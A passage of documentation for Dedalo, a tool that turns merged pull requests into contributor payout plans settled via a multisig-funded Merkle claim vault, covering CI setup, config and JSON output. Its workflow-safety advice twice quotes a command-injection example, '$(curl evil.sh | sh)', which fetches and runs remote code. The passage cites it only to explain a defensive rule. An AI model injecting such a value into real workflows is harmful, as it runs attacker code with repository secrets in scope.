   data   0xd0e30db0…

Nothing in that path opens a socket. A signer compares the printed calldata against a plan they can read, rather than trusting a tool they cannot.

The reason is narrow and worth stating: a key in CI can be reached by everything that can write a workflow. A pull request that edits a workflow file, a compromised action, a dependency with a build script — each of those becomes a path to the treasury the moment a key is in reach of a runner. There is no key in reach of a runner.

The pull model

A round is deposited once, against a Merkle root of its claims, and each contributor claims their own share.

dedalo plan     ─▶  a reviewed PayoutPlan, content-addressed
dedalo propose  ─▶  1. approve(claimContract, total)
                    2. deposit(planId, merkleRoot, token, total)
                        ↓
                    a multisig, signed by people who are not one person
                        ↓
                    contributors claim, each paying their own gas

Three holes in the obvious “loop over payees and send” design that this closes:

  • A contributor without a linked wallet is not a blocker. Their share sits in the round until they claim it.
  • The project pays one transaction’s gas, not one per payee.
  • A key in CI cannot drain the treasury, because there is no key in CI.

The vault

The rules a deployed contract enforces live in src/chain/vault as ordinary Rust, and they are pure: no storage, no clock, no caller. They take the state they need and return the state they produce.

That is what makes them testable over their whole domain instead of by deploying them somewhere and poking them. The deployable at src/chain/contract is an Arbitrum Stylus crate that compiles to WebAssembly and is deliberately thin — reading storage, moving a token, knowing the time. A reader checking whether the rules are correct should end up in vault, not in the binding.

The refusals are the specification

Refusal has one variant per way the vault says no, each with a test:

RefusalWhy it exists
RoundExistsReplay guard. A retried job proposing the same plan cannot fund it twice.
RoundUnknownNothing was deposited for this plan id.
NothingToDepositA round with no root or no total can never be claimed — money in, no way out.
ShortDeliveryThe token delivered less than promised. A fee-on-transfer token does this, and the round would pay early claimants and strand the rest.
AlreadyClaimedThis index of this round is already paid.
BadProofThe proof does not put this claim in this round’s tree.
ExceedsRoundThe claim is larger than what the round still holds.
NotExpiredThe claim window has not closed, so nothing may be swept.
NotDepositorOnly the account that funded a round may recover what is left.
Inconsistentclaimed exceeds total — unreachable through these functions, checked anyway, because it means something else wrote the state.
OverflowArithmetic would have wrapped.

A test asserts that no two refusals share a sentence, so a revert reason identifies exactly one rule.

The claim window is 180 days, fixed rather than chosen by the depositor. A depositor who could choose it could choose a window that closes before anybody claims.

The leaf encoding is pinned

chain::merkle::the_leaf_encoding_has_not_moved holds a root and a proof against a fixed fixture. A deployed vault verifies proofs against that encoding, so changing it silently would invalidate every round already deposited. Changing it deliberately is fine — the commit has to say why.

Status

Unaudited and undeployed. The vault’s rules are tested; the deployable compiles and fits the 24 KiB Stylus limit with room to spare; nothing has been deployed and no address in any shipped config is real.

What has to exist before real funds move is the list, and it is short enough to check.

Running a round

The operational checklist. It assumes the project is configured and identities are linked; if not, start at Your first round.

Before

  • dedalo verify passes on a fresh clone. If the ledger does not verify, stop — the range the next round covers is derived from it.
  • dedalo identity missing is empty, or every name in it is a deliberate decision rather than an oversight.
  • The three addresses in [wallets] are the ones you intend, confirmed out of band. Placeholders are all zeroes and settlement refuses them, but a wrong real address is refused by nothing.
  • The funding source actually holds the amount, plus gas.

Compute and save

dedalo plan --amount 1000 --save

--save writes the plan and records it in the ledger. Everything after this refers to the plan by id, so the round that executes is the round that was reviewed:

Round ded106bd7281  4 merges on main → 7f10d55

Review it in a pull request

git add .dedalo/
git commit -m "chore: propose round ded106bd7281"
git push -u origin round/ded106bd7281

The plan is JSON on purpose — it diffs. What reviewers should check is in Reviewing a plan; the short version is range, unresolved, shares, and that the numbers sum.

Reviewing a payout in the same place code is reviewed is most of the value. The people who would notice that a share looks wrong are the people already reading pull requests.

Simulate

$ dedalo settle --plan ded106bd7281
dry-run: 5 transfers, 1000 USDC, plan ded106bd7281
ok plan id matches its contents
ok transfers sum to the gross amount
ok no transfer to the zero address
nothing was broadcast

Run this against the saved plan, not against --amount. Recomputing here would produce a different round if a merge landed since the review.

Fund it

dedalo propose --plan ded106bd7281

Two transactions, printed with their calldata, for signers to execute from the multisig. See Funding from a multisig for what each signer should check before approving — this is the step where money actually moves, and it is the step Dedalo cannot do for you by design.

Record it

git add .dedalo/
git commit -m "chore: settle round ded106bd7281"
git push

The ledger entry is only useful once it is committed. A round recorded on one laptop is a round the next CI job will compute again.

After

  • dedalo verify passes.
  • dedalo status shows the round as settled and the pending range as empty.
  • The ledger HEAD in your release note or README is updated, if you publish one.

Cadence

Nothing in Dedalo has an opinion about how often you do this. Monthly is the common shape and has two practical advantages: the range is small enough that a reviewer can hold it in their head, and a mistake costs one month rather than one year.

What does matter is that a round covers a contiguous range with no gaps. The range is derived from the ledger, so this is automatic as long as the ledger is committed and --since is not used to skip past commits.

Careful--since overrides the ledger’s cursor. It is for recomputing a range you already understand, not for choosing which merges to pay for. Using it to skip a range means those merges are never paid, and nothing later notices.

When something is wrong

SymptomLikely cause
verify failsThe ledger was edited, or an object is missing from the clone.
Plan id differs from the reviewed oneHistory moved, or the config changed. Diff dedalo.toml.
A contributor is missingTheir email is not linked — check identity missing.
Shares look wrong[attribution], usually max_points_per_merge.
settle refusesRead the message; every refusal names exactly one rule.

Nothing here is fixed by editing .dedalo/ by hand. Editing it breaks the chain, and the break is the mechanism working.

In CI

A payout belongs in the pipeline that merged the code. Dedalo ships as a GitHub Action for that reason.

The minimum

name: Funding

on:
  workflow_dispatch:
    inputs:
      amount:
        description: Size of the round
        required: true

jobs:
  plan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v5
        with:
          fetch-depth: 0          # attribution needs the full history

      - uses: dedalo-org/dedalo@v0
        id: dedalo
        with:
          command: plan
          amount: ${{ inputs.amount }}

      - run: echo "plan ${{ steps.dedalo.outputs.plan-id }}"

Carefulfetch-depth: 0 is not optional. A shallow clone has no merge history, and the failure mode is not an error: it is an empty round. The Action detects a shallow clone and unshallows it with a warning, but the warning is easy to miss in a green run.

Inputs

InputDefaultMeaning
versionlatestRelease to use, e.g. v0.1.0. Pin it for reproducible runs.
commandstatusstatus, scan, contributors, plan or settle.
amountSize of the round, for plan and settle.
sinceStart after this revision instead of the last settled commit.
executefalseBroadcast for real. No backend can today — see below.
working-directory.Repository to operate on.
summarytrueWrite the payout plan to the workflow run summary.

Outputs

OutputMeaning
jsonRaw JSON of the command.
plan-idContent hash of the plan, when the command produced one.
totalTotal that would move, in base units.

Verify the ledger on every push

The cheapest useful job in the repository, and the one that catches a ledger that was edited or a .dedalo/ that was partly committed:

  verify:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
        with: { fetch-depth: 0 }
      - uses: dedalo-org/dedalo@v0
        with:
          command: verify

No network, no key, no secrets. It either verifies or it does not.

Post the pending round on a schedule

on:
  schedule:
    - cron: "0 9 1 * *"        # 09:00 on the first of the month

jobs:
  pending:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
        with: { fetch-depth: 0 }
      - uses: dedalo-org/dedalo@v0
        with:
          command: contributors
          summary: "true"

The run summary then shows who has earned what since the last round, every month, without anybody having to remember.

execute: true does nothing today

The input exists and defaults to false, and setting it to true will not broadcast anything, because Dedalo holds no signing key and no backend can sign. A round is funded by people executing what dedalo propose prints, from a multisig. See Funding from a multisig.

This is not a limitation waiting to be removed. It is the design: a key in CI is reachable by everything that can write a workflow.

Workflow safety

The Action runs in other people’s repositories with their secrets in scope, and it is written accordingly. Two rules it follows, worth copying into any workflow you build around it:

  • Never interpolate ${{ }} into a run: block. Pass values through env:. An amount of $(curl evil.sh | sh) interpolated into a shell script executes. zizmor fails the build on this, and it is right to.
  • Pin third-party actions to a commit, with the tag as a trailing comment. A moving tag can be repointed at new code by whoever owns it.

Commands with side effects run once

action.yml deliberately does not re-run settle to render nicer output. If you are wrapping Dedalo in your own workflow, do the same: one invocation, and format its --json output rather than calling it again.

Funding from a multisig

This is the step where money moves, and it is the step Dedalo deliberately cannot do for you.

The authoritative record of these decisions is docs/settlement-architecture.md in the repository. It is binding: it records decisions taken before the contract existed, and if the code disagrees with it, one of the two is wrong and the answer is not to quietly change the code. This chapter is the operational view of the same thing.

The shape

dedalo plan --save  ─▶  a reviewed PayoutPlan, content-addressed
dedalo propose      ─▶  1. approve(claimContract, total)
                        2. deposit(planId, merkleRoot, token, total)
                            ↓
                        a Safe, signed by people who are not one person
                            ↓
                        contributors claim, each paying their own gas

Why pull rather than push

The obvious design loops over payees and sends. The pull model deposits once against a Merkle root and lets each contributor claim. The difference is not stylistic:

PushPull
Transactions per roundone batch, or None deposit
Gas payerthe projectthe claimer
Unlinked contributorblocks the round, or forfeitsclaims whenever they link
Wrong addressfunds destroyedfunds unclaimed, recoverable
Partial failurepossiblenot expressible

The last row is the important one. A batch that fails halfway has paid some people and not others, and there is no good next move. A deposit either happened or did not.

It also dissolves the “undistributed” problem rather than patching it: money for a contributor who has not linked a wallet is not money with nowhere to go, it is money not yet claimed. That is a state, not a loss.

Why the key is not in CI

The earlier design read a signing key from an environment variable in a CI job. That key can drain the source wallet, and everything with write access to a workflow can reach it — which includes Dependabot’s pull requests and anything that lands in .github/.

A compromised workflow should cost embarrassment, not the treasury.

This is why the pipeline hardening in this project matters as much as the arithmetic: zizmor, pinned action SHAs, and the ban on interpolating expressions into run: blocks all exist because that is the boundary a key in CI would have crossed.

The consequence is recorded in the code: settlement.signer_env described a capability Dedalo should not have and was removed. Do not reintroduce a config key that names one.

What a signer should check

Before approving either transaction, and in this order:

  1. The plan id in propose matches the plan that was reviewed. Not the amount — the id. Amounts repeat; ids do not.
  2. The to address of transaction 1 is the token contract named in [asset] contract, and transaction 2’s to is the claim contract in [settlement] contract.
  3. The amount in approve equals the amount in deposit. An approval larger than the deposit leaves an allowance sitting on the token.
  4. The Merkle root matches the plan. Recompute it from the reviewed plan rather than reading it out of the same output you are checking.
  5. The plan id has not been deposited before. The contract refuses a repeat (RoundExists), but a signer who notices first saves a failed transaction.

dedalo propose prints the calldata so that this comparison is possible against a document a person can read, rather than against a tool they have to trust.

Chain-agnostic, honestly

The address layer knows about address formats, not about one chain. wallet::AddressKind names a format; Address carries which one it is, and comparison follows that format’s rules — EVM addresses compare case-insensitively because EIP-55 puts a checksum in the capitalisation, and a different chain will have different rules. The config is cross-checked, so an address that is well-formed for the wrong chain is caught.

It is an enum with one variant, not a trait with one implementation. A trait would be indirection nobody pays for today; the enum says exactly as much as is true, and adding a chain is four mechanical edits the compiler points at.

Which chain to launch on is not decided. The template names Base and real mainnet USDC — a default that was never chosen deliberately and should be before anyone broadcasts. Testnet first is the safer starting point, and that is tracked in issue #15.

Before real funds move

The list, from the architecture document:

  1. A claim contract with the Merkle root, a per-round replay guard keyed on the plan id, and an expiry path for unclaimed funds.
  2. An independent audit of it, published.
  3. A Safe, with signers who are not one person.
  4. A testnet round settled end to end, from dedalo plan to a claim.
  5. Removal of settlement.signer_env. Done.

Until the first four, the honest state of this project is what the code already says: Error::NotImplemented.

What exists today, and what it is worth

The vault’s rules are pure Rust, driven over their whole domain by tests rather than by deploying them somewhere and poking them. The deployable binds them to Arbitrum Stylus and does nothing else.

That is worth something. It is not an audit. Nobody outside the repository has looked at it, it has never held a coin, and the reentrancy, ERC-20 and expiry paths have been reasoned about by their author and tested by their author.

What was given up should be said plainly too: the previous vault was Solidity, and solc’s model checker discharged all ten of its arithmetic conditions with a solver — a stronger statement than any test. Rust has no equivalent that terminates on this codebase; Kani was measured and rejected. The rules are now in one language, tested with the same machinery as the rest of the money path, and proved by nothing.

Treat it as a specification that happens to compile.

Auditing a project

You have found a project that says it pays contributors with Dedalo. This chapter is how to check that from the outside, without asking the maintainer for anything.

Everything below runs on a clone. None of it needs a key, a token, an API, or the maintainer’s cooperation — which is the property that makes the claim worth anything.

1. Clone and verify the chain

git clone --filter=blob:none https://github.com/some/project
cd project
dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 4 entries hash to their recorded ids
ok 2 settled plans present and self-consistent

Each ledger entry names its parent and hashes over it, so an entry edited after the fact breaks every id after it and HEAD stops matching. A pass means the record you are reading is the record that was written.

A failure means one of three things: an entry was edited, an object is missing from the clone, or .dedalo/ was partly committed. All three are worth asking about.

2. Recompute a round

dedalo plan --amount 1000 --since af3141b5 --json | jq -r .id

Compare the id against the one in the ledger entry. If they match, the published round is exactly what this history and this config produce. If they do not, either the config changed after the round or the numbers did not come from here.

Note — use the same --since and the same amount the round used. Both are recorded in the ledger entry, so this is a lookup rather than a guess.

3. Read the policy

dedalo.toml is committed, and it is the whole policy. Four things to look at:

ReadAsk
[fees]Where does the money that is not paid to contributors go?
[wallets]Are these real, and does anybody say who controls them?
[attribution]Does the scoring match what the project says it rewards?
[git] ignore_emailsIs anybody excluded who should not be?

git log -p dedalo.toml shows every time the policy changed and who approved it. A funding policy that changes the round before a round is not necessarily wrong — but it is a thing to see rather than not see.

4. Look at who is not being paid

dedalo plan --amount 1000 --json | jq '.unresolved'

unresolved lists contributors who earned a share and have no wallet on file. A long list on a project that has run several rounds means people are earning and not being reached.

5. Check the money adds up

dedalo plan --amount 1000 --json |
  jq '[( .items[].amount | tonumber ), (.undistributed | tonumber)] | add == (.gross|tonumber)'

The code guarantees this and property tests hold it down. Checking it once yourself is how you find out that you understand the document rather than trusting the sentence that describes it.

What auditing this does not tell you

Being clear about the limits is the point of the exercise:

  • It does not tell you the money arrived. The ledger records what was planned and settled from Dedalo’s side. Whether a transaction was executed by the multisig, and whether contributors claimed, is a question for the chain.
  • It does not tell you the scoring is fair. It tells you the scoring is what the config says. Whether the config is fair is a judgement, and it is the project’s to make and yours to disagree with.
  • It does not audit the contract. The vault is unaudited and undeployed. See Funding from a multisig.
  • It does not verify identities. That a handle maps to a wallet is an assertion the maintainer made. Nothing checks that ada is the Ada you think.

For funders

If you are considering funding a project through Dedalo, the four checks above take about ten minutes and answer the question “does what they publish match what their repository produces”. That is a narrower question than “is this project worth funding”, and it is the one that can be answered mechanically.

The rest — whether the work is good, whether the split is fair, whether the maintainers are who they say — is the same judgement funding anything requires. Dedalo’s contribution is removing the part that used to require trust and can instead be arithmetic.

Command line

$ dedalo --help
Turn code merges into sustainable open-source funding

Every command accepts the global options below, and every command that produces data accepts --json.

Global options

OptionMeaning
-C, --repo <PATH>Repository to operate on. Defaults to the current directory.
--jsonEmit machine-readable JSON instead of tables. See JSON output.
-v, --verboseIncrease log verbosity. Repeatable.
-h, --helpHelp for the binary or a subcommand.
-V, --versionVersion.

Dedalo finds dedalo.toml by walking up from --repo (or the current directory), the way git finds .git. The directory holding it is the repository root for everything that follows.

Range options

scan, contributors, plan, settle, propose and identity missing all take the same pair:

OptionMeaning
--since <REV>Start after this revision instead of the last settled commit.
--limit <N>Show at most this many entries.

Careful--since overrides the ledger’s cursor. It is for recomputing a range you already understand. Using it to skip merges means those merges are never paid for, and nothing later notices.


dedalo init

Create a dedalo.toml in this repository.

OptionMeaning
--name <NAME>Project name. Defaults to the repository directory name.
--open-collective <SLUG>Open Collective slug that receives the protocol fee.
--forceOverwrite an existing dedalo.toml.

The file it writes is commented, and it is meant to be committed and reviewed.

dedalo scan

List merges that have not been paid out yet.

Reads merge commits on the branch named in [git] branch, starting after the last settled commit in the ledger. Takes the range options.

dedalo contributors

Show contribution scores for the pending range, in milli-points and as a share.

Takes the range options. This is plan without the money: useful for showing people where they stand before a round is funded.

dedalo plan

Compute a payout plan for a funding round.

OptionMeaning
--amount <AMOUNT>Required. Size of the round, as a decimal amount of the configured asset.
--saveStore the plan in .dedalo and record it in the ledger.

Plus the range options.

--save is what makes a round referable by id afterwards. Use it for any round somebody other than you will review — see Running a round.

dedalo settle

Execute a payout plan. Simulates unless --execute is given.

OptionMeaning
--plan <PLAN_ID>Settle a plan that was already saved, by id.
--amount <AMOUNT>Compute a fresh plan of this size and settle it. Required unless --plan.
--executeActually broadcast, using the backend from dedalo.toml.
--allow-undistributedSettle even though the contributor pool reached nobody.

Plus the range options. --plan and --amount conflict.

--execute does not broadcast today: no backend can sign, because Dedalo holds no signing key. The evm backend builds the exact call and returns NotImplemented.

--allow-undistributed is only meaningful when nobody in the round has a wallet on file, which normally means an identity link is missing rather than that you meant to send the fees alone.

dedalo propose

Emit the transactions a multisig must run to fund a round. Dedalo signs nothing and holds no key.

OptionMeaning
--plan <PLAN_ID>Propose a plan that was already saved, by id.
--amount <AMOUNT>Compute a fresh plan of this size and propose it. Required unless --plan.
--saveStore the plan before proposing it, so the round the signers execute is the one on disk.

Plus the range options. --plan and --amount conflict.

Prints approve and deposit with their calldata encoded. See what a signer should check.

dedalo status

Show the current funding state of the project: the configured asset and fee split, the pending range, the last settled round, and the lifetime total paid.

dedalo verify

Recompute the ledger chain and confirm nothing was changed after the fact.

Needs no network, no key and no credentials — anyone with a clone can run it. Exits non-zero if the chain does not verify, so it belongs in CI. See The ledger.

dedalo ledger

Print the event ledger.

OptionDefaultMeaning
--limit <N>20Show only the last N entries.
--migrateConvert a pre-chain ledger.jsonl into chain entries, then stop.

dedalo identity

Manage the git-identity to wallet mapping.

identity list

List known identities.

Map one or more git emails to a wallet.

ArgumentMeaning
<HANDLE>Handle used in reports, e.g. a GitHub username.
<WALLET>Destination wallet address.
--email <EMAIL>Git author email to attach. Repeatable, and required.

Validates the address and reports how many bits of EIP-55 checksum protect it — see How strong is the checksum.

identity remove <HANDLE>

Remove an identity by handle. Does not touch history: the person’s past rounds stay in the ledger, and future rounds list them as unresolved.

identity missing

Show contributors in history that have no wallet yet. Takes the range options.

Run this before every round.

dedalo.toml

The funding policy. It lives at the repository root, it is committed, and it is reviewed like any other change — because it decides what people are paid.

Every table is validated on load, and unknown keys are rejected rather than ignored. A typo in a key name would otherwise silently fall back to a default, and a default fee schedule is not a thing to arrive at by accident.

dedalo init writes a commented template. Below is every key it can contain.


[project]

[project]
name = "my-project"
repository = "https://github.com/me/my-project"
open_collective = "my-project"
KeyRequiredDefaultMeaning
nameyesProject name, used in plans and reports. Part of the plan id.
repositorynoCanonical repository URL.
open_collectivenoOpen Collective slug this project self-funds through.

[git]

[git]
branch = "main"
ignore_subjects = ["chore(release)", "Merge branch"]
ignore_emails = ["noreply@github.com", "actions@github.com"]
KeyDefaultMeaning
branch"main"Merges into this branch are what earn a payout.
ignore_subjects[]Merges whose subject starts with one of these are skipped entirely.
ignore_emails["noreply@github.com", "actions@github.com"]Emails that never receive a payout, however much they commit.

ignore_subjects matches on prefix; ignore_emails matches exactly. No globbing, no regular expressions — a pattern language here is a place for a subtle mistake to hide, and what it decides is who gets paid.

Note — the default ignore_emails covers GitHub’s own noreply and Actions addresses. If your CI commits under a different address, add it. A bot with a wallet is a way for a round to leak.

[attribution]

[attribution]
base_points = 100
points_per_insertion = 1.0
points_per_deletion = 0.5
max_points_per_merge = 5000
credit_merger = false
split_with_co_authors = true
KeyDefaultMeaning
base_points100Flat score every merged pull request earns, regardless of size.
points_per_insertion1.0Score per added line.
points_per_deletion0.5Score per removed line. Deleting code is work too.
max_points_per_merge5000Ceiling per merge, so one vendored dependency cannot drain a round.
credit_mergerfalseAlso credit whoever pressed merge, on top of the commit authors.
split_with_co_authorstrueShare a commit’s score with its Co-authored-by: trailers.

The two per-line values are decimals in the file because that is how people think about them, and they are converted to integer milli-points once, at load. Nothing downstream sees a float. See Attribution.

Money — changing anything in this table changes what people are paid, so it changes the plan id too. Under the release policy a change to attribution defaults in Dedalo itself is a breaking change even when it compiles.

[asset]

[asset]
symbol = "USDC"
decimals = 6
chain = "base"
contract = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"
KeyRequiredMeaning
symbolyesDisplay symbol.
decimalsyesDecimal places the token uses on chain. Every amount you type is converted to base units with this.
chainyesChain identifier, e.g. base. Cross-checked against address formats.
contractnoToken contract address. Omit for the chain’s native coin.

Carefuldecimals is not cosmetic. It converts --amount 1000 into base units. Getting it wrong by one scales every round by ten, in whichever direction is worse.

[fees]

[fees]
protocol_bps = 250     # 2.5% → the network's Open Collective
treasury_bps = 1500    # 15%  → this project's reserve
                       # 82.5% → contributors
KeyDefaultMeaning
protocol_bps250Share routed to the Open Collective wallet that funds the network.
treasury_bps1500Share retained by the project for future rounds, audits, infrastructure.

Basis points: 10,000 = 100%. A schedule where the two reach 10,000 is rejected, because contributors would receive nothing and that is never what somebody meant to configure.

Fees are taken off the top, protocol first, and they round down — the remainder stays with contributors. Both properties are proved over every schedule that validates. See Money.

[wallets]

[wallets]
source = "0x…"           # funds each round is paid out of
treasury = "0x…"         # this project's own reserve
open_collective = "0x…"  # the network's wallet, receiving protocol_bps

All three are required and all three are validated on load. dedalo init writes the zero address as a placeholder, and settlement refuses to send to it.

Careful — a placeholder is refused. A wrong real address is refused by nothing. Confirm each of these out of band before a round moves money, and read how strong the checksum is before deciding that a valid address is a correct one.

[settlement]

[settlement]
backend = "dry-run"
# rpc_url = "https://…"
# chain_id = 8453
# contract = "0x…"
KeyDefaultMeaning
backend"dry-run"dry-run computes and verifies without spending. evm validates and builds the call, then refuses to sign.
rpc_urlJSON-RPC endpoint of the chain.
chain_idEIP-155 chain id, checked against the endpoint.
contractClaim contract a round is deposited into.

There is no key here, and there must never be one. settlement.signer_env, which named an environment variable holding a signing key, was removed on purpose. Dedalo does not sign; dedalo propose prints transactions for a multisig. See Funding from a multisig.

[[identities]]

[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com", "ada@work.example"]
KeyMeaning
handleLabel used in reports. Usually a GitHub username; nothing checks it.
walletDestination address, validated and checksummed on load.
emailsEvery git author email this person commits under.

Repeat the table for each contributor. Manage it with dedalo identity rather than by hand — the command validates the address and reports how much that validation is worth.

One handle, one wallet, many emails: that is what makes one wallet, one transfer true.


A complete example

[project]
name = "my-project"
repository = "https://github.com/me/my-project"
open_collective = "my-project"

[git]
branch = "main"
ignore_subjects = ["chore(release)"]
ignore_emails = ["noreply@github.com", "actions@github.com"]

[attribution]
base_points = 100
points_per_insertion = 1.0
points_per_deletion = 0.5
max_points_per_merge = 5000
credit_merger = false
split_with_co_authors = true

[asset]
symbol = "USDC"
decimals = 6
chain = "base"
contract = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"

[fees]
protocol_bps = 250
treasury_bps = 1500

[wallets]
source = "0x1111111111111111111111111111111111111111"
treasury = "0x2222222222222222222222222222222222222222"
open_collective = "0x3333333333333333333333333333333333333333"

[settlement]
backend = "dry-run"

[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com"]

JSON output

Every command takes --json. The shape is a contract, not incidental output: action.yml parses it, and tests/cli.rs pins the fields it reads, so renaming one fails the build instead of silently breaking the Action.

Treat it as a public API. Removing or renaming a field is a breaking change under the release policy.

Amounts are strings

{ "gross": "1000000000", "undistributed": "197710000" }

Every amount is a u128 count of base units, serialised as a decimal string. JSON numbers are IEEE doubles: anything above 2^53 loses precision silently, which is well inside the range of a token with 18 decimals.

Parse them as big integers, never as floats.

# right
jq -r '.split.gross' plan.json

# wrong — jq's numbers are doubles
jq '.split.gross | tonumber' plan.json

dedalo plan --json

The serialised PayoutPlan:

{
  "id": "ded106bd7281…",
  "project": "my-project",
  "created_at": 1766000000,
  "asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
  "range": { "branch": "main", "from_commit": "af3141b5…", "to_commit": "7f10d55…", "merges": 4 },
  "split": {
    "gross": "1000000000",
    "protocol": "25000000",
    "treasury": "150000000",
    "contributors": "825000000"
  },
  "items": [
    { "kind": "contributor", "handle": "ada", "wallet": "0xAdA…",
      "amount": "514390000", "score": 1124000, "share_bps": 5144 }
  ],
  "undistributed": "197710000",
  "unresolved": [
    { "name": "Cy", "email": "cy@example.com", "score": 432000, "reason": "no-wallet" }
  ]
}
FieldTypeMeaning
idstringContent hash, prefixed ded1.
projectstringFrom [project] name.
created_atnumberUnix seconds. Not part of id.
assetobjectsymbol, decimals, chain, optional contract.
range.branchstringBranch the merges came from.
range.from_commitstring?Exclusive lower bound. Absent on the first round.
range.to_commitstringNewest merge in the round.
range.mergesnumberHow many merges the round covers.
splitobjectgross, protocol, treasury, contributors — all base-unit strings.
items[].kindstringcontributor, treasury or protocol.
items[].handlestringLabel.
items[].walletstringChecksummed address.
items[].amountstringBase units.
items[].scorenumberAttribution weight in milli-points; 0 for fee recipients.
items[].share_bpsnumberShare of the gross, for human review.
undistributedstringContributor pool that reached nobody.
unresolved[].reasonstringno-wallet, excluded or ignored.

The invariant to assert in any script that consumes this:

Σ items[].amount + undistributed == split.gross

dedalo contributors --json

The serialised Attribution:

{
  "contributions": [
    { "author": { "name": "Ada", "email": "ada@example.com" },
      "score": 1124000, "merges": 2, "commits": 5,
      "insertions": 592, "deletions": 50 }
  ],
  "merges_analysed": 4,
  "total_score": 1803000
}

contributions is ordered highest score first. total_score is the denominator of the split — a contributor’s share is score / total_score.

dedalo scan --json

An array of MergeEvent, oldest first:

[
  { "sha": "9c2f1ab…",
    "merged_by": { "name": "Ada", "email": "ada@example.com" },
    "merged_at": 1765900000,
    "subject": "feat(parser): streaming tokenizer",
    "commits": [
      { "sha": "3e1f…", "author": { "name": "Ada", "email": "ada@example.com" },
        "co_authors": [], "authored_at": 1765890000,
        "subject": "parse without buffering" }
    ],
    "diff": { "files_changed": 7, "insertions": 412, "deletions": 38 } }
]

dedalo status --json

{
  "project": "my-project",
  "branch": "main",
  "asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
  "pending_merges": 4,
  "pending_contributors": 3,
  "fees": { "protocol_bps": 250, "treasury_bps": 1500, "contributor_bps": 8250 },
  "settlement_backend": "dry-run",
  "state": { }
}

dedalo verify --json

{
  "ok": true,
  "head": "dedc6ddbbe…",
  "entries": 4,
  "plans_checked": 2,
  "problems": []
}

problems carries { "plan": "…", "reason": "…" } for anything that did not check out. ok is also reflected in the exit code, so a script can branch on either.

dedalo ledger --json

An array of entries, plus { "migrated": N } for --migrate.

dedalo propose --json

The serialised RoundProposal:

{
  "plan_id": "ded106bd7281…",
  "merkle_root": "0x…",
  "claim_contract": "0x…",
  "token": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913",
  "total": "825000000",
  "claims": 3,
  "transactions": [
    { "step": 1, "description": "approve the claim contract to move 825 USDC",
      "chain_id": 8453, "to": "0x8335…", "value": "0", "data": "0x095ea7b3…" },
    { "step": 2, "description": "deposit round ded106bd7281 against its root",
      "chain_id": 8453, "to": "0x…", "value": "0", "data": "0x…" }
  ]
}

total is the sum of every claim, and it is what the deposit must cover exactly. transactions is ordered: a deposit before its approval reverts. data is what a signer compares against the plan — see what a signer should check.

{ "handle": "ada", "wallet": "0xAdA…",
  "emails": ["ada@example.com"], "checksum_bits": 15 }

checksum_bits is how much EIP-55 validation is worth for that address — see How strong is the checksum.

identity remove returns { "removed": "ada" }.

Errors

A command that fails writes a human message to stderr and exits non-zero. With --json, stdout carries the machine-readable result of a successful run only; do not parse stdout without checking the exit code first.

if out=$(dedalo plan --amount 1000 --json); then
  echo "$out" | jq -r .id
else
  echo "planning failed" >&2
  exit 1
fi

See Exit codes and errors.

GitHub Action

dedalo-org/dedalo@v0 is a composite action that installs the released binary and runs one subcommand.

- uses: actions/checkout@v5
  with:
    fetch-depth: 0

- uses: dedalo-org/dedalo@v0
  id: dedalo
  with:
    command: plan
    amount: "1000"

The operational guidance — whole workflows, scheduling, what to run on every push — is in In CI. This page is the interface.

Inputs

InputDefaultMeaning
versionlatestRelease to use, e.g. v0.1.0.
commandstatusstatus, scan, contributors, plan or settle.
amount""Size of the round, for plan and settle, in the configured asset.
since""Start after this revision instead of the last settled commit.
execute"false"Broadcast for real instead of simulating.
working-directory.Repository to operate on.
summary"true"Write the payout plan to the workflow run summary.

version

Defaults to the latest release. Pin it for a workflow whose output anybody relies on: latest means a new release changes what your pipeline runs without a commit in your repository.

execute

Defaults to false, because the safe thing must be the default. Setting it to true will not broadcast anything today: Dedalo holds no signing key by design, and a round is funded by people executing what dedalo propose prints.

Outputs

OutputMeaning
jsonRaw JSON output of the command.
plan-idContent hash of the payout plan, when the command produced one.
totalTotal that would move, in base units.
- run: echo "round ${{ steps.dedalo.outputs.plan-id }}"

What it does before running

Checks for a shallow clone. Attribution reads merge history, and a shallow clone produces an empty round rather than an error. The action warns and runs git fetch --unshallow — but set fetch-depth: 0 on actions/checkout so it never has to.

Installs the binary via install.sh, which verifies the published SHA-256.

How it is written, and why you should copy that

This action executes in other people’s repositories with their secrets in scope. Two rules it follows without exception:

  • Inputs reach the shell through env:, never through ${{ }} interpolated into a run: block. An amount of $(curl evil.sh | sh) interpolated into a script executes. zizmor fails the build on this.
  • Commands with side effects run once. action.yml deliberately does not re-run settle to render nicer output. If you wrap it, format the --json output rather than invoking it a second time.

Permissions

plan, scan, contributors, status and verify need contents: read and nothing else. There is no token to give it, no secret to configure, and no network call it makes on its own behalf.

permissions:
  contents: read

That is the whole permission surface, and it is short because Dedalo holds no key. See Funding from a multisig.

Exit codes and errors

Exit codes

Two of them.

CodeMeaning
0Success.
non-zeroAnything else. The message on stderr says which.

There is no numbered taxonomy of failures, and adding one would be a promise this project cannot keep: an exit code is a public API, and the set of ways a payout can fail is not stable enough to freeze into small integers. Scripts should branch on the exit code and, when they need detail, read the --json output of a successful run.

if out=$(dedalo plan --amount 1000 --json); then
  jq -r .id <<<"$out"
else
  echo "planning failed" >&2
  exit 1
fi

The error type

The library returns dedalo::Error; the CLI wraps it with anyhow and adds context aimed at somebody at a terminal. Every variant below is what a caller can match on.

VariantMeansUsual fix
Io { path, source }A file could not be read or written.Permissions, or a .dedalo/ that was not committed.
Git { args, stderr }The git binary ran and exited non-zero.Run the printed command by hand; the arguments are included for exactly that.
GitMissingNo git executable in PATH.Install git. Dedalo cannot work without one.
GitParse { context, detail }Git succeeded but produced output this version cannot parse.Report it — this is a bug, not a configuration problem.
Config(msg)The config is valid TOML but semantically wrong.Read the message; it names the key.
